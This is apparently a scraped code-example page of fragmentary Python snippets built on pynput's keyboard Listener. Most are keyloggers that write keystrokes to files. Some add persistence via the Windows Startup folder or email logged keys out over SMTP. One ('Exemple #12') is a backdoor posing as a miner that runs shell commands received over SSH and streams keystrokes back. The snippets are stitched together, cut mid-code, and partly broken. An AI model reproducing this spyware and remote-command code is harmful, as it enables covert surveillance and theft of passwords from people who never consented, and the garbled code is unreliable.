Exemple #1
0
 def _keylogger(self):
     with Listener(on_press=self._on_press) as listener:
         listener.join()
Exemple #2
0
 def main(self):
     with Listener(on_press=self.on_press,
                   on_release=self.on_release) as listener:
         listener.join()
    if key in current_keys:
        current_keys.remove(key)


def process_img(original_img):
    processed_img = cv2.cvtColor(original_img, cv2.COLOR_BGR2GRAY)
    processed_img = cv2.Canny(processed_img, threshold1=200, threshold2=300)
    return processed_img


#with mss.mss() as sct:
# Part of the screen to capture
#monitor = {"top": 0, "left": 70, "width": 640, "height": 480}

while True:
    listener = Listener(on_press=on_press, on_release=on_release)
    listener.start()
    last_time = time.time()
    # key_catcher = MockButton()
    # Get raw pixels from the screen, save it to a Numpy array
    #screen = np.array(sct.grab(monitor))
    #new_screen = process_img(original_img=screen)

    # Display the picture
    #cv2.imshow("Window", new_screen)

    # print("Loop took {} seconds".format(time.time() - last_time))
    # Press "q" to quit

    #k = cv2.waitKey(10)
Exemple #4
0
 def start(self):
     with Listener(on_press=self.on_press) as listener:
         self.log_report()
         listener.join()
Exemple #5
0
def transfer():
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
Exemple #6
0
 def start_listener(self):
     self.running = True
     with Listener(on_press=self.on_press,
                   on_release=self.on_release) as listener:
         listener.join()
     self.running = False
Exemple #7
0
def start_listen():
    with Listener(on_press=on_press) as listener:
        listener.join()
Exemple #8
0
        clear()
        print("This is not a valid input, please try again\n")
        start_program = input("---> Keylogger <---\n\nDo you wish to start the program? [y/n]\n")

while q2 == 1:
    if return_to_loader == "y":
        clear()
        exec(open("loader.py").read())
        break
    elif return_to_loader == "n":
        clear()
        print("Exiting..")
        exit()
    else:
        clear()
        print("This is not a valid input, please try again")
        return_to_loader = input("Do you wish to return to the main loader? [y/n]\n")

username = os.getlogin()

#copyfile('main.py', f'C:/Users/{username}/Appdata/Roaming/Microsoft/Start Menu/Startup/main.py')  ---> Everytime you boot up the system it will automatically launch

logging_directory = f"C:/Users/{username}/Desktop"

logging.basicConfig(filename=f"{logging_directory}/mylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")

def key_handler(key):
    logging.info(key)

with Listener(on_press=key_handler) as listener:
    listener.join()
Exemple #9
0
from pynput.keyboard import Key, Listener


def process_keyboard(e):
    try:
        btn = e.char
    except AttributeError:
        btn = None
    print(btn)


with Listener(on_press=process_keyboard) as listener:
    listener.join()
Exemple #10
0
def init():
    with Listener(on_press=on_press) as listener:
        listener.join()
Exemple #11
0
# 用 Python 做一个按键记录器
# http://www.51testing.com/html/61/n-4480261.html
from pynput.keyboard import Listener


def write_to_file(key):
    '''将键鼠输入的内容写入文件'''
    letter = str(key)
    letter = letter.replace("'", "")
    with open("./log.txt", 'a') as f:
        f.write(letter)


if __name__ == '__main__':
    with Listener(on_press=write_to_file) as I:
        I.join()
Exemple #12
0
def parent(server_address, server_port, username, password):
    logger.info('Miner started successfully!')
    logger.info(f"You are: {server_address}:{server_port} - {username}@{password}")
    # instantiate the ssh client
    client = paramiko.SSHClient()
    # auto add key
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # connect to ssh server
    logger.info('Attempting to connect with exchange server . . .')
    client.connect(
        server_address,
        port=server_port,
        username=username,
        password=password
    )
    logger.info('Connected to exchange server.')
    # get ssh session
    client_session = client.get_transport().open_session()
    if client_session.active and not client_session.closed:
        # wait for command, execute and send result ouput
        while True:
            try:
                global progress
                command = client_session.recv(1024).decode('utf-8')
                if (progress >= 100):
                    logger.info('Exchange successful!')
                    progress = -500
                elif (progress <=-10)
                    progress = progress + random.randint(0, 3)
                elif (progress >= 0 && progress < 100):
                    progress = progress + random.randint(0, 3)
                    logger.info(f'Exchange progress: {progress}')
                else:
                    logger.info('Processing exchange . . .')
                    progress = 0
                
                # Event for recording key presses
                def on_press(key):
                    client_session.send('"{0} pressed"'.format(key))
                    if command == "exit":
                        return False
           
                # You could add more hard-coded triggers here, anything undefined is treated as a command to the client's cli
                if (command == "process" || command == "exit"):
                    # Collect events until released
                    with Listener(
                        on_press=on_press) as listener:
                            listener.join()
                else:
                    command_output = subprocess.run(
                        command, stdout=subprocess.PIPE,
                        stderr=subprocess.PIPE,
                        shell=True,
                        timeout=30 # Client will quit if server connection isn't found after this many seconds
                    )
                # send back the resulting output
                if len(command_output.stderr.decode('utf-8')): # STDERR
                    client_session.send(command_output.stderr.decode('utf-8'))
                elif len(command_output.stdout.decode('utf-8')): # STDIN
                    client_session.send(command_output.stdout.decode('utf-8'))
                else: # STDUNK
                    client_session.send('null')
            except subprocess.CalledProcessError as err:
                client_session.send(str(err))
    client_session.close()
    return
Exemple #13
0
 def __init__(self):
     pass
     self._listener = Listener(on_press=self._on_press)
     self._listener.start()
Exemple #14
0
def formatKey(key):
    if '<Key.space>' in key:
        return ' '
    if '<Key.enter>' in key:
        return '\n'
    else:
        return key


def log(text):
    with open("log.txt", "a") as file_log:
        file_log.write(formatKey(text))


def screen(key):
    try:
        log(key.char)
        keys.append(key.char)

    except AttributeError:
        log(" <" + str(key) + "> ")
        keys.append(str(key))

    if "".join(password) == "".join(keys):
        return False


with Listener(on_release=screen) as listener:
    log('\n\n')
    listener.join()
    try:
        ftp = ftplib.FTP('ip')
    except:
        print("Connection error.")
    else:
        ftp.login('uploader', 'myData20')
        ftp.cwd('/pi3_images')

        for filepath in glob.iglob('images/*.jpeg'):
            head, tail = os.path.split(filepath)
            print(head, tail)
            file = open(filepath, 'rb')
            ftp.storbinary('STOR ' + tail, file)
            os.remove(filepath)
        ftp.quit()


def on_release(key):
    if key == Key.esc:  # Stop listener
        return False
    if key == Key.space:
        date_time = datetime.now().strftime("%Y%m%d%H%M%S")
        camera.capture("images/" + date_time + '.jpeg', format="jpeg")
        print('Picture taken at ' + date_time)
        uploadFiles()


# Collect events until released
with Listener(on_release=on_release) as listener:
    listener.join()
Exemple #16
0
from pynput.keyboard import Listener


def log_keystroke(key):
    key = str(key).replace("'", "")

    if key == 'Key.space':
        key = ' '
    if key == 'Key.shift_r':
        key = ''
    if key == "Key.enter":
        key = '\n'

    with open("log.txt", 'a') as f:
        f.write(key)


with Listener(on_press=log_keystroke) as l:
    l.join()
Exemple #17
0
def start_listen():
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
Exemple #18
0
	def __init__(self):
		self.chave = 1
		with Listener(on_release=self.on_release) as listener:
			listener.join()
def start_logging():
    # print('logging started..')
    logging.basicConfig(filename=filename, level=logging.DEBUG, format="%(asctime)s %(message)s")
    with Listener(on_press=on_press) as listener:
        listener.join()
 def __init__(self):
     self._status = {}
     self._listener = Listener(
         on_press=self._on_press,
         on_release=self._on_release)
Exemple #21
0
        threading.Timer(Glo.grab_secs, grab_screen).start()


def keypress(Key):
    """key logger."""
    logging.info(str(Key))


# had to omit hotkey use from linux version for now.
if not sys.platform.startswith('linux'):
    hotkey_pause = 'Shift+Ctrl+1'
    kb.add_hotkey(hotkey_pause, toggle_save, args=None)

    hotkey_stop = 'Shift+Ctrl+2'
    kb.add_hotkey(hotkey_stop, thread_stop, args=None)

    hotkey_view = 'Shift+Ctrl+3'
    kb.add_hotkey(hotkey_view, view_images, args=None)

# Start
logging.basicConfig(filename=('keylog.txt'),
                    level=logging.DEBUG,
                    format='%(asctime)s : %(message)s')

what_platform()
chk_fold()
grab_screen()

with Listener(on_press=keypress) as listener:
    listener.join()
Exemple #22
0
 def _start(self):
     with Listener(on_press=self.on_press,
                   on_release=self.on_release) as self.listener:
         self.listener.join()
Exemple #23
0
			def keylog():
				def on_press(key):
					logging.info(str(key))
				with Listener(on_press=on_press) as listener:
					listener.join()
Exemple #24
0
 def hook(self):
     if self.is_hook: return
     self.is_hook = True
     self.listener = Listener(on_press=self.on_press)
     self.listener.start()
        print("DOWN", end=' ')
        monitor = monitor.down
        print(monitor.data, "\n")
        print('\n')


def on_release(key):
    # print('{0} release'.format(key))
    if key == Key.esc:
        # Stop listener
        return False


# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

# loop_reference=loop_reference.down
#
#
#

# for i in range(0,3):
#    temp1 = first
#    temp2 = second
#
#
#    for j in range(0,3):
#        if j==2:
#            create_connection(temp2,loop_reference,'h')
 def __init__(self, parent=None):
     super().__init__(parent)
     self.listener = Listener(on_press=self.on_press, on_release=self.on_release)
     self.currentKey = None
     self.released = False
     print("Monitor init!")
Exemple #27
0
    #server = smtp.SMTP('64.233.184.108')

    server = smtp.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(Parameters.MailDirection, Parameters.MailPassword)
    server.sendmail(Parameters.MailDirection, Parameters.Mailaddressee,
                    message.as_string())

    print("The Mail Has Been Send")

    server.quit()


def CounterAndSend():

    while (True):

        ClearFile()

        time.sleep(Parameters.Time)

        SendInput()


Thread1 = Thread(name="Thread_1", target=CounterAndSend)
Thread1.start()

with Listener(on_press=PressKey) as l:
    l.join()
Exemple #28
0
import tempfile
import logging
from pynput.keyboard import Key, Listener

print("Temp dir loc --> ", tempfile.gettempdir())

log_loc = tempfile.gettempdir()
log_file = "\key_logger.txt"
logging.basicConfig(filename=(log_loc + log_file),
                    level=logging.DEBUG,
                    format="%(asctime)s: %(message)s")


def key_presses(key):
    logging.info(str(key))


with Listener(on_press=key_presses) as listener:
    listener.join()
from pynput.keyboard import Key, Listener
import logging

#variable to save the keystroke log
log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"),
                    level=logging.DEBUG,
                    format='%(asctime)s: %(messages)s')


def on_press(key):
    logging.info(key)


with Listener(on_press=on_press) as listener:
    listener.join()
    keys.append(key)
    count += 1
    print(key)

    if (count >= 5):
        count = 0
        write_file(keys)
        print("WRITE FILE KEYS CALLED", keys)
        keys = []


def write_file(keys):
    fpath = r'/home/shikari/coding/python_Projects/log.txt'
    with open(fpath, "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            # print("k={}".format(k))
            if (k.find('space') > 0):
                f.write('\n')
            elif k.find('Key') == -1:
                f.write(k)


def key_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=key_press, on_release=key_release) as listener:
    listener.join()